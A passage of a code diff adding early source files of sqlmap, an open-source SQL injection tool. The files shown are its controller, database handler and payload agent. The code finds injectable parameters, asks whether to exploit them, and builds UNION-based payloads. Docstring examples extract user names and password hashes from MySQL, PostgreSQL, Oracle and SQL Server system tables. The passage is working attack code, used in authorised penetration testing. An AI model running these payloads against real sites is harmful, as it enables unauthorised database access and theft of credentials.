condition = (
|
||||
kb.resumedQueries.has_key(conf.url) and
|
||||
kb.resumedQueries[conf.url].has_key("String") and
|
||||
kb.resumedQueries[conf.url]["String"][:-1] == conf.string
|
||||
)
|
||||
|
||||
if condition:
|
||||
return True
|
||||
|
||||
logMsg = "testing if the provided string is within the "
|
||||
logMsg += "target URL page content"
|
||||
logger.info(logMsg)
|
||||
|
||||
page = Request.queryPage(content=True)
|
||||
|
||||
if conf.string in page:
|
||||
setString()
|
||||
return True
|
||||
else:
|
||||
errMsg = "you provided '%s' as the string to " % conf.string
|
||||
errMsg += "match, but such a string is not within the target "
|
||||
errMsg += "URL page content, please provide another string."
|
||||
logger.error(errMsg)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkConnection():
|
||||
logMsg = "testing connection to the target url"
|
||||
logger.info(logMsg)
|
||||
|
||||
try:
|
||||
kb.defaultResult = Request.queryPage()
|
||||
except sqlmapConnectionException, exceptionMsg:
|
||||
if conf.googleDork:
|
||||
exceptionMsg += ", skipping to next url"
|
||||
logger.warn(exceptionMsg)
|
||||
return False
|
||||
else:
|
||||
raise sqlmapConnectionException, exceptionMsg
|
||||
|
||||
return True
|
242
lib/controller/controller.py
Normal file
242
lib/controller/controller.py
Normal file
|
@ -0,0 +1,242 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: controller.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.controller.checks import checkSqlInjection
|
||||
from lib.controller.checks import checkDynParam
|
||||
from lib.controller.checks import checkStability
|
||||
from lib.controller.checks import checkString
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapNotVulnerableException
|
||||
from lib.core.session import setInjection
|
||||
from lib.core.target import createTargetDirs
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.utils.parenthesis import checkForParenthesis
|
||||
|
||||
|
||||
def __selectInjection(injData):
|
||||
"""
|
||||
Selection function for injection place, parameters and type.
|
||||
"""
|
||||
|
||||
message = "there were multiple injection points, please select the "
|
||||
message += "one to use to go ahead:\n"
|
||||
|
||||
for i in xrange(0, len(injData)):
|
||||
injPlace = injData[i][0]
|
||||
injParameter = injData[i][1]
|
||||
injType = injData[i][2]
|
||||
|
||||
message += "[%d] place: %s, parameter: " % (i, injPlace)
|
||||
message += "%s, type: %s" % (injParameter, injType)
|
||||
|
||||
if i == 0:
|
||||
message += " (default)"
|
||||
|
||||
message += "\n"
|
||||
|
||||
message += "[q] Quit\nChoice: "
|
||||
select = readInput(message, default="0")
|
||||
|
||||
if not select:
|
||||
index = 0
|
||||
|
||||
elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
|
||||
index = int(select)
|
||||
|
||||
elif select[0] in ( "Q", "q" ):
|
||||
return "Quit"
|
||||
|
||||
else:
|
||||
warnMsg = "Invalid choice, retry"
|
||||
logger.warn(warnMsg)
|
||||
__selectInjection(injData)
|
||||
|
||||
return injData[index]
|
||||
|
||||
|
||||
def start():
|
||||
"""
|
||||
This function calls a function that performs checks on both URL
|
||||
stability and all GET, POST, Cookie and User-Agent parameters to
|
||||
check if they are dynamic and SQL injection affected
|
||||
"""
|
||||
|
||||
if conf.url:
|
||||
kb.targetUrls.add(conf.url)
|
||||
|
||||
if conf.configFile and not kb.targetUrls:
|
||||
errMsg = "you did not edit the configuration file properly, set "
|
||||
errMsg += "the target url properly"
|
||||
logger.error(errMsg)
|
||||
|
||||
hostCount = 0
|
||||
injData = []
|
||||
receivedCookies = []
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
|
||||
for targetUrl in kb.targetUrls:
|
||||
if conf.googleDork:
|
||||
hostCount += 1
|
||||
|
||||
message = "url %d: %s, " % (hostCount, targetUrl)
|
||||
message += "do you want to test this url? [Y/n/q] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if test[0] in ("n", "N"):
|
||||
continue
|
||||
elif test[0] in ("q", "Q"):
|
||||
break
|
||||
|
||||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
conf.url = targetUrl
|
||||
initTargetEnv()
|
||||
|
||||
if not checkConnection() or not checkString():
|
||||
continue
|
||||
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s;" % cookie[8:index]
|
||||
|
||||
if cookieStr:
|
||||
cookieStr = cookieStr[:-1]
|
||||
|
||||
if "Cookie" in conf.parameters:
|
||||
message = "you provided an HTTP Cookie header value. "
|
||||
message += "The target url provided its own Cookie within "
|
||||
message += "the HTTP Set-Cookie header. Do you want to "
|
||||
message += "continue using the HTTP Cookie values that "
|
||||
message += "you provided? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
setCookieAsInjectable = False
|
||||
|
||||
if setCookieAsInjectable:
|
||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
||||
conf.parameters["Cookie"] = cookieStr
|
||||
__paramDict = paramToDict("Cookie", cookieStr)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if not conf.string:
|
||||
if checkStability():
|
||||
logMsg = "url is stable"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
errMsg = "url is not stable, try with --string option, refer "
|
||||
errMsg += "to the user's manual paragraph 'String match' "
|
||||
errMsg += "for details"
|
||||
|
||||
if conf.googleDork:
|
||||
errMsg += ", skipping to next url"
|
||||
logger.warn(errMsg)
|
||||
|
||||
continue
|
||||
else:
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
for place in conf.parameters.keys():
|
||||
if not conf.paramDict.has_key(place):
|
||||
continue
|
||||
|
||||
paramDict = conf.paramDict[place]
|
||||
|
||||
for parameter, value in paramDict.items():
|
||||
if not checkDynParam(place, parameter, value):
|
||||
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
for parenthesis in range(0, 4):
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg += "parameter '%s' with " % parameter
|
||||
logMsg += "%d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
injType = checkSqlInjection(place, parameter, value, parenthesis)
|
||||
|
||||
if injType:
|
||||
injData.append((place, parameter, injType))
|
||||
|
||||
break
|
||||
else:
|
||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
warnMsg += "injectable with %d parenthesis" % parenthesis
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if len(injData) == 1:
|
||||
injDataSelected = injData[0]
|
||||
elif len(injData) > 1:
|
||||
injDataSelected = __selectInjection(injData)
|
||||
else:
|
||||
return
|
||||
|
||||
if injDataSelected == "Quit":
|
||||
return
|
||||
else:
|
||||
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
|
||||
setInjection()
|
||||
|
||||
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||
condition = False
|
||||
|
||||
if conf.googleDork:
|
||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||
exploit = readInput(message, default="Y")
|
||||
|
||||
if not exploit or exploit[0] in ("y", "Y"):
|
||||
condition = True
|
||||
else:
|
||||
condition = True
|
||||
|
||||
if condition:
|
||||
checkForParenthesis()
|
||||
createTargetDirs()
|
||||
action()
|
||||
|
||||
if conf.loggedToOut:
|
||||
logger.info("Fetched data logged to text files under '%s'" % conf.outputPath)
|
71
lib/controller/handler.py
Normal file
71
lib/controller/handler.py
Normal file
|
@ -0,0 +1,71 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: handler.py 283 2008-07-25 15:16:11Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
Detect which is the target web application back-end database
|
||||
management system.
|
||||
"""
|
||||
|
||||
count = 0
|
||||
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" )
|
||||
dbmsMap = (
|
||||
( MYSQL_ALIASES, MySQLMap ),
|
||||
( ORACLE_ALIASES, OracleMap ),
|
||||
( PGSQL_ALIASES, PostgreSQLMap ),
|
||||
( MSSQL_ALIASES, MSSQLServerMap ),
|
||||
)
|
||||
|
||||
for dbmsAliases, dbmsEntry in dbmsMap:
|
||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||
debugMsg = "skipping to test for %s" % dbmsNames[count]
|
||||
logger.debug(debugMsg)
|
||||
count += 1
|
||||
continue
|
||||
|
||||
dbmsHandler = dbmsEntry()
|
||||
|
||||
if dbmsHandler.checkDbms():
|
||||
if not conf.dbms or conf.dbms in dbmsAliases:
|
||||
kb.dbmsDetected = True
|
||||
|
||||
return dbmsHandler
|
||||
|
||||
return None
|
25
lib/core/__init__.py
Normal file
25
lib/core/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
385
lib/core/agent.py
Normal file
385
lib/core/agent.py
Normal file
|
@ -0,0 +1,385 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: agent.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
|
||||
|
||||
class Agent:
|
||||
"""
|
||||
This class defines the SQL agent methods.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
temp.delimiter = randomStr(6)
|
||||
temp.start = randomStr(6)
|
||||
temp.stop = randomStr(6)
|
||||
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
"""
|
||||
|
||||
retValue = ""
|
||||
|
||||
# After identifing the injectable parameter
|
||||
if kb.injPlace == "User-Agent":
|
||||
retValue = kb.injParameter.replace(kb.injParameter,
|
||||
kb.injParameter + newValue)
|
||||
elif kb.injParameter:
|
||||
paramString = conf.parameters[kb.injPlace]
|
||||
paramDict = conf.paramDict[kb.injPlace]
|
||||
value = paramDict[kb.injParameter]
|
||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||
"%s=%s" % (kb.injParameter, value + newValue))
|
||||
|
||||
# Before identifing the injectable parameter
|
||||
elif parameter == "User-Agent":
|
||||
retValue = value.replace(value, newValue)
|
||||
else:
|
||||
paramString = conf.parameters[place]
|
||||
retValue = paramString.replace("%s=%s" % (parameter, value),
|
||||
"%s=%s" % (parameter, newValue))
|
||||
|
||||
return retValue
|
||||
|
||||
|
||||
def prefixQuery(self, string):
|
||||
"""
|
||||
This method defines how the input string has to be escaped
|
||||
to perform the injection depending on the injection type
|
||||
identified as valid
|
||||
"""
|
||||
|
||||
query = ""
|
||||
|
||||
if kb.injType == "numeric":
|
||||
pass
|
||||
elif kb.injType in ( "stringsingle", "likesingle" ):
|
||||
query = "'"
|
||||
elif kb.injType in ( "stringdouble", "likedouble" ):
|
||||
query = "\""
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
if kb.parenthesis != None:
|
||||
query += "%s " % (")" * kb.parenthesis)
|
||||
|
||||
query += string
|
||||
|
||||
return query
|
||||
|
||||
|
||||
def postfixQuery(self, string, comment=None):
|
||||
"""
|
||||
This method appends the DBMS comment to the
|
||||
SQL injection request
|
||||
"""
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
if comment:
|
||||
string += "%s" % comment
|
||||
|
||||
if kb.parenthesis != None:
|
||||
string += " AND %s" % ("(" * kb.parenthesis)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
||||
|
||||
if kb.injType == "numeric":
|
||||
string += "%d=%d" % (randInt, randInt)
|
||||
elif kb.injType == "stringsingle":
|
||||
string += "'%s'='%s" % (randStr, randStr)
|
||||
elif kb.injType == "likesingle":
|
||||
string += "'%s' LIKE '%s" % (randStr, randStr)
|
||||
elif kb.injType == "stringdouble":
|
||||
string += "\"%s\"=\"%s" % (randStr, randStr)
|
||||
elif kb.injType == "likedouble":
|
||||
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
return string
|
||||
|
||||
|
||||
def nullAndCastField(self, field):
|
||||
"""
|
||||
Take in input a field string and return its processed nulled and
|
||||
casted field string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: VERSION()
|
||||
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
|
||||
MySQL scope: VERSION()
|
||||
|
||||
PostgreSQL input: VERSION()
|
||||
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
|
||||
PostgreSQL scope: VERSION()
|
||||
|
||||
Oracle input: banner
|
||||
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
|
||||
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
|
||||
|
||||
Microsoft SQL Server input: @@VERSION
|
||||
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
|
||||
Microsoft SQL Server scope: @@VERSION
|
||||
|
||||
@param field: field string to be processed
|
||||
@type field: C{str}
|
||||
|
||||
@return: field string nulled and casted
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
nulledCastedField = queries[kb.dbms].cast % field
|
||||
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
||||
|
||||
return nulledCastedField
|
||||
|
||||
|
||||
def nullCastConcatFields(self, fields):
|
||||
"""
|
||||
Take in input a sequence of fields string and return its processed
|
||||
nulled, casted and concatenated fields string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: user,password
|
||||
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
|
||||
MySQL scope: SELECT user, password FROM mysql.user
|
||||
|
||||
PostgreSQL input: usename,passwd
|
||||
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
|
||||
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
|
||||
|
||||
Oracle input: COLUMN_NAME,DATA_TYPE
|
||||
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
|
||||
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
|
||||
|
||||
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
|
||||
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
|
||||
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
||||
|
||||
@param fields: fields string to be processed
|
||||
@type fields: C{str}
|
||||
|
||||
@return: fields string nulled, casted and concatened
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if not kb.dbmsDetected:
|
||||
return fields
|
||||
|
||||
fields = fields.replace(", ", ",")
|
||||
fieldsSplitted = fields.split(",")
|
||||
dbmsDelimiter = queries[kb.dbms].delimiter
|
||||
nulledCastedFields = []
|
||||
|
||||
for field in fieldsSplitted:
|
||||
nulledCastedFields.append(self.nullAndCastField(field))
|
||||
|
||||
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
|
||||
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
|
||||
|
||||
return nulledCastedConcatFields
|
||||
|
||||
|
||||
def getFields(self, query):
|
||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
||||
if fieldsSelectTop:
|
||||
fieldsToCast = fieldsSelectTop.groups()[0]
|
||||
elif fieldsSelectDistinct:
|
||||
fieldsToCast = fieldsSelectDistinct.groups()[0]
|
||||
elif fieldsSelectFrom:
|
||||
fieldsToCast = fieldsSelectFrom.groups()[0]
|
||||
elif fieldsSelect:
|
||||
fieldsToCast = fieldsSelect.groups()[0]
|
||||
elif fieldsNoSelect:
|
||||
fieldsToCast = fieldsNoSelect
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
|
||||
|
||||
|
||||
def concatQuery(self, query):
|
||||
"""
|
||||
Take in input a query string and return its processed nulled,
|
||||
casted and concatenated query string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: SELECT user, password FROM mysql.user
|
||||
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
|
||||
|
||||
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
|
||||
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
|
||||
|
||||
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
||||
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
||||
|
||||
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
||||
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
|
||||
|
||||
@param query: query string to be processed
|
||||
@type query: C{str}
|
||||
|
||||
@return: query string nulled, casted and concatenated
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
concatQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCast)
|
||||
concatQuery = query.replace(fieldsToCast, castedFields, 1)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery += ",'%s')" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery += "||'%s'" % temp.stop
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
concatQuery += " FROM DUAL"
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
concatQuery += " FROM DUAL"
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery += "+'%s'" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
return concatQuery
|
||||
|
||||
|
||||
def forgeInbandQuery(self, query, exprPosition=None):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
|
||||
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
|
||||
|
||||
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
|
||||
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
|
||||
|
||||
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
|
||||
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
|
||||
|
||||
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
|
||||
